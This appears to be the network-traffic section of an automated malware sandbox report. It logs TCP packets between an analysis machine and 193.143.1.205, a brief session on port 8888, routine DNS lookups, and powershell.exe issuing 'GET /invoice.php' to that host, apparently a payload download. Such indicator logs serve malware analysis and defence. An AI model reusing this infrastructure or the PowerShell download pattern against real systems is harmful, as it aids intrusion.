Jan 11, 2025 05:24:20.977130890 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977130890 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977140903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977159023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977211952 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977226019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977237940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977256060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977267027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977278948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977284908 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977291107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977303028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977322102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977325916 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977334976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977344036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977364063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977376938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977387905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977389097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977389097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977400064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977411985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977437973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977437973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977540016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977559090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977572918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977582932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977592945 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977596045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977607965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977618933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977631092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977642059 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977642059 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977643013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977720022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977725029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977725029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977737904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977750063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977771044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977782965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977793932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977806091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977813959 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977813959 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977818012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977830887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977842093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977849007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977849007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977854013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977879047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.977904081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977917910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977929115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.977957010 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.978008986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.981523991 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.985630989 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.009721041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.009740114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.009757996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.009771109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.009784937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.009795904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.009809017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.009819984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.009819984 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.009819984 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.009833097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.009844065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.009856939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.009870052 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.009901047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.029995918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030010939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030023098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030062914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.030064106 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.030132055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030143976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030198097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.030210972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030221939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030232906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030251026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030270100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030272007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.030282974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030297041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030297995 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.030308008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030319929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030324936 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.030337095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030348063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030359983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030378103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030380011 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.030380011 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.030395985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030407906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030421019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030431032 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.030431032 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.030432940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030445099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.030447960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.031414032 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.063683987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063697100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063707113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063718081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063765049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063766003 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.063775063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063792944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063802004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063812017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063822031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063832998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063841105 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.063843012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063858032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063867092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063869953 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.063869953 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.063878059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063889027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063919067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063930988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063936949 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.063936949 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.063967943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063978910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063988924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.063999891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064032078 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064032078 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064073086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064131975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064141989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064151049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064163923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064176083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064184904 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064217091 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064217091 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064297915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064308882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064321041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064332008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064342976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064362049 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064362049 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064405918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064414978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064425945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064435959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064446926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064457893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064481020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064481020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064569950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064594030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064604044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064615965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064621925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064634085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064640045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064650059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064650059 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064667940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064686060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064686060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064686060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064697027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064707041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064717054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064728975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064742088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064749956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064766884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064779043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064779997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064779997 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064820051 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064826012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064836979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064846992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064858913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064898014 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064898014 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064913034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064924002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064934015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064951897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064965010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064974070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064974070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.064975977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064987898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.064999104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065037012 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.065037012 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.065052032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065063000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065068960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065080881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065112114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065112114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.065112114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.065124989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065138102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065176964 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.065176964 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.065216064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065227032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065237045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065248966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065259933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065274000 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.065299034 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.065330029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065344095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065354109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065366983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065388918 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.065388918 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.065412045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065423012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065434933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065445900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.065489054 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.065489054 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.070461988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.097134113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.097147942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.097157001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.097166061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.097177029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.097187996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.097199917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.097206116 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.097209930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.097224951 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.097407103 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.117574930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117587090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117595911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117609024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117619991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117659092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.117659092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.117686033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117702961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117713928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117722988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117733955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117754936 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.117754936 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.117881060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117897987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117908955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117918968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117928982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117938995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117949009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117954016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117959023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117963076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117969036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.117988110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.117988110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.118104935 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.118129969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.118143082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.118303061 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.126789093 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.131177902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.151387930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.151400089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.151410103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.151421070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.151444912 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.151469946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.151480913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.151494980 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.151498079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.151510000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.151520967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.151530027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.151539087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.151540041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.151551008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.151571035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.151634932 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.151660919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.151671886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.151683092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.151691914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:21.151711941 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.151755095 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:21.846172094 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:22.335119963 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:22.340075016 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:22.340337038 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:22.340337038 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:22.345115900 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:23.149784088 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:23.196110010 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:24.833024025 CET	49707	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:24:30.034797907 CET	54736	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:24:30.034797907 CET	192.168.2.8	1.1.1.1	0xc893	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:24:30.041836977 CET	1.1.1.1	192.168.2.8	0xc893	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:24:30.736409903 CET	1.1.1.1	192.168.2.8	0x93da	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:24:30.736409903 CET	1.1.1.1	192.168.2.8	0x93da	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	193.143.1.205	80	7732	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:24:19.632416964 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
